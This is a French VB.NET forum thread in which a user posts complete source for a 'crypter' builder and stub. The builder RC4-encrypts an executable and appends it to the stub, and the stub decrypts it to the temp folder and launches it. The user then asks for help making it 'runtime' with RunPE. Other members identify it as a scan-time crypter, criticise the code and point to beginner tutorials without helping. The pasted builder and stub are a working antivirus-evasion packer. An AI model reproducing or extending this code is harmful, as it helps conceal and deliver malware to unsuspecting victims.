IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

VB.NET Discussion :

code source crypter


Sujet :

VB.NET

  1. #1
    Membre à l'essai
    Profil pro
    Inscrit en
    Février 2010
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2010
    Messages : 5
    Par défaut code source crypter
    bonjour a tous

    voici le code source d un builder et du stub:


    builder :


    ---------------
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    Const filesplit = "@MatinMadeThisTut@"

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    Dim openf As New OpenFileDialog
            If openf.ShowDialog = Windows.Forms.DialogResult.OK Then
                TextBox1.Text = openf.FileName
            Else : Exit Sub
            End If

    5. -Double click Button2 (Crypt) and put this code in
    Code:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    Dim filein, filename, stub As String
            Dim lol As New SaveFileDialog
            If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
                filename = lol.FileName
            Else : Exit Sub
            End If
            FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
            filein = Space(LOF(1))
            FileGet(1, filein)
            FileClose(1)
            FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
            stub = Space(LOF(1))
            FileGet(1, stub)
            FileClose(1)
            FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
            FilePut(1, stub & filesplit & rc4(filein, "MatinWins"))
            FileClose(1)
            MsgBox("File Crypted")

    6. Put this anywhere but not in the sub
    Code:


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
            Dim i As Integer = 0
            Dim j As Integer = 0
            Dim cipher As New StringBuilder
            Dim returnCipher As String = String.Empty
            Dim sbox As Integer() = New Integer(256) {}
            Dim key As Integer() = New Integer(256) {}
            Dim intLength As Integer = password.Length
            Dim a As Integer = 0
            While a <= 255
                Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
                key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
                sbox(a) = a
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            Dim x As Integer = 0
            Dim b As Integer = 0
            While b <= 255
                x = (x + sbox(b) + key(b)) Mod 256
                Dim tempSwap As Integer = sbox(b)
                sbox(b) = sbox(x)
                sbox(x) = tempSwap
                System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
            End While
            a = 1
            While a <= message.Length
                Dim itmp As Integer = 0
                i = (i + 1) Mod 256
                j = (j + sbox(i)) Mod 256
                itmp = sbox(i)
                sbox(i) = sbox(j)
                sbox(j) = itmp
                Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
                Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
                itmp = Asc(ctmp)
                Dim cipherby As Integer = itmp Xor k
                cipher.Append(Chr(cipherby))
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            returnCipher = cipher.ToString
            cipher.Length = 0
            Return returnCipher
        End Function

    ----------------------------------------------------------
    Concernant le stub
    -----------------------------------------------------------


    ---------------------
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    Const filesplit = "@MatinWroteThisTut@"

    3. Inset into Private Sub Form1_Load
    Code:


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    On Error Resume Next
            Dim TPath As String = System.IO.Path.GetTempPath
            Dim file1, filezb4(), filezafter As String
            FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
            file1 = Space(LOF(1))
            FileGet(1, file1)
            FileClose(1)
            filezb4 = Split(file1, filesplit)
            filezafter = rc4(filezb4(1), "MatinWins")
            FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
            FilePut(5, filezafter)
            FileClose(5)
            System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
            Me.Close()
            End
     
    4. Once again add this RC4 Encryption put it anywhere but the sub.
    Code:
     
    Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
            Dim i As Integer = 0
            Dim j As Integer = 0
            Dim cipher As New StringBuilder
            Dim returnCipher As String = String.Empty
            Dim sbox As Integer() = New Integer(256) {}
            Dim key As Integer() = New Integer(256) {}
            Dim intLength As Integer = password.Length
            Dim a As Integer = 0
            While a <= 255
                Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
                key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
                sbox(a) = a
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            Dim x As Integer = 0
            Dim b As Integer = 0
            While b <= 255
                x = (x + sbox(b) + key(b)) Mod 256
                Dim tempSwap As Integer = sbox(b)
                sbox(b) = sbox(x)
                sbox(x) = tempSwap
                System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
            End While
            a = 1
            While a <= message.Length
                Dim itmp As Integer = 0
                i = (i + 1) Mod 256
                j = (j + sbox(i)) Mod 256
                itmp = sbox(i)
                sbox(i) = sbox(j)
                sbox(j) = itmp
                Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
                Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
                itmp = Asc(ctmp)
                Dim cipherby As Integer = itmp Xor k
                cipher.Append(Chr(cipherby))
                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
            End While
            returnCipher = cipher.ToString
            cipher.Length = 0
            Return returnCipher
        End Function
    --------------------------


    alors comment le rentre runtime j y arrive pas , et pourquoi quand je crée un serveur il n a pas l extension exe ??

    merci

  2. #2
    Rédacteur
    Avatar de Nathanael Marchand
    Homme Profil pro
    Expert .Net So@t
    Inscrit en
    Octobre 2008
    Messages
    3 615
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 39
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Expert .Net So@t
    Secteur : Conseil

    Informations forums :
    Inscription : Octobre 2008
    Messages : 3 615
    Par défaut
    On parle de quoi exactement là? On ne comprend rien à ton message. On ne sait pas ou tu as trouvé le code et on ne sait pas ce que veux en faire...

  3. #3
    Inactif  
    Homme Profil pro
    Chef de projet NTIC
    Inscrit en
    Janvier 2007
    Messages
    6 604
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 64
    Localisation : France

    Informations professionnelles :
    Activité : Chef de projet NTIC

    Informations forums :
    Inscription : Janvier 2007
    Messages : 6 604
    Par défaut
    En plus, le code est exceptionnellement dégueulasse; on trouve notamment cette perle qu'on croyait disparue depuis VB6 (VB6 mal programmé en plus) :



    "en cas d'erreur, ne pas tenir compte, passer à la ligne suivante" !

  4. #4
    Membre chevronné
    Profil pro
    Inscrit en
    Juillet 2007
    Messages
    312
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juillet 2007
    Messages : 312
    Par défaut
    C'est le code (enfin code) pour un ScanTime Crypter :

    http://www.gamekiller.net/tutorials-...oob-proof.html

    J'adore les commentaires de l'op :

    -Change the text of Button1 to Browse
    -Change the text of Button2 to Crypt
    Inset into Private Sub Form1_Load
    Bref, le gars est pas loin d'avoir la médaille du code le plus crade jamais pondu

  5. #5
    Membre à l'essai
    Profil pro
    Inscrit en
    Février 2010
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2010
    Messages : 5
    Par défaut re
    j apprends a interpréter le code , pour en faire un a moi en VB.

    mais le passage runtime est difficile pour moi .

  6. #6
    Inactif  
    Homme Profil pro
    Chef de projet NTIC
    Inscrit en
    Janvier 2007
    Messages
    6 604
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 64
    Localisation : France

    Informations professionnelles :
    Activité : Chef de projet NTIC

    Informations forums :
    Inscription : Janvier 2007
    Messages : 6 604
    Par défaut
    Si tu veux interprêter quelque chose, prend un code correct à la base, pas un truc codé avec les pieds.

    De plus, on apprend pas un langage en "interprétant" du code existant.

    Accessoirement, je soupçonne que ce code n'est pas du VB.Net mais du VB, écrit de plus par quelqu'un qui ne connaissait visiblement que le GWBasic.

    Bref, de bonnes bases

  7. #7
    Membre à l'essai
    Profil pro
    Inscrit en
    Février 2010
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2010
    Messages : 5
    Par défaut re
    ok alors conseillé moi , je me lance ds le codage

    car des codes corrects de crypter avec code sources c dur a trouver...

    merci

  8. #8
    Rédacteur
    Avatar de Nathanael Marchand
    Homme Profil pro
    Expert .Net So@t
    Inscrit en
    Octobre 2008
    Messages
    3 615
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 39
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Expert .Net So@t
    Secteur : Conseil

    Informations forums :
    Inscription : Octobre 2008
    Messages : 3 615
    Par défaut
    Avant de faire des trucs complexes, on apprend un language et ses bases. Si tu veux apprendre le VB.Net, tu peux lire le tutoriel:
    http://plasserre.developpez.com/cours/vb-net/

  9. #9
    Membre Expert Avatar de hunteshiva
    Homme Profil pro
    Chef de projet en SSII
    Inscrit en
    Février 2010
    Messages
    1 069
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Gironde (Aquitaine)

    Informations professionnelles :
    Activité : Chef de projet en SSII
    Secteur : Industrie

    Informations forums :
    Inscription : Février 2010
    Messages : 1 069
    Par défaut
    +1

    j'ai eu quelques cours,
    mais j'ai vraiment approfondi le vb.net grâce au tutoriel de P. Lasserre

    aprés si tu sent que ça coince, hésite pas il y aurra toujours quelqu'un pour t'aider
    * avec un post bien rédigé *

  10. #10
    Membre à l'essai
    Profil pro
    Inscrit en
    Février 2010
    Messages
    5
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2010
    Messages : 5
    Par défaut re
    salut

    c est surtout le RunPE le pb

  11. #11
    Membre éclairé Avatar de carlfil
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Août 2011
    Messages
    38
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 55
    Localisation : France

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Août 2011
    Messages : 38
    Par défaut
    Citation Envoyé par Bluedeep Voir le message
    En plus, le code est exceptionnellement dégueulasse; on trouve notamment cette perle qu'on croyait disparue depuis VB6 (VB6 mal programmé en plus) :



    "en cas d'erreur, ne pas tenir compte, passer à la ligne suivante" !
    Salut tou le monde,
    En .NET il est préférable utiliser Try => Catch ex As Exception => End Try

  12. #12
    Membre éclairé Avatar de saad.hessane
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Avril 2008
    Messages
    315
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Avril 2008
    Messages : 315
    Par défaut
    Citation Envoyé par carlfil Voir le message
    Salut tou le monde,
    En .NET il est préférable utiliser Try => Catch ex As Exception => End Try
    Dans tout langage qui gère les exceptions il est préférable d'utiliser le try/catch...

  13. #13
    Inactif  
    Homme Profil pro
    Chef de projet NTIC
    Inscrit en
    Janvier 2007
    Messages
    6 604
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 64
    Localisation : France

    Informations professionnelles :
    Activité : Chef de projet NTIC

    Informations forums :
    Inscription : Janvier 2007
    Messages : 6 604
    Par défaut
    Citation Envoyé par carlfil Voir le message
    Salut tou le monde,
    En .NET il est préférable utiliser Try => Catch ex As Exception => End Try

    Merci d'avoir défoncé cette porte ouverte

Discussions similaires

  1. Crypter des éléments du code source
    Par jessimvcrew dans le forum Balisage (X)HTML et validation W3C
    Réponses: 4
    Dernier message: 18/06/2014, 16h07
  2. Crypter son code source et l'exécuter
    Par je.rochebrochart dans le forum Général JavaScript
    Réponses: 12
    Dernier message: 04/09/2011, 14h16
  3. Crypter / Protéger son code source
    Par matthieu637 dans le forum Débuter avec Java
    Réponses: 2
    Dernier message: 16/07/2008, 13h07
  4. Crypter transit des données sans toucher au code source
    Par thecrafty dans le forum Protocoles
    Réponses: 2
    Dernier message: 08/06/2007, 17h31

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo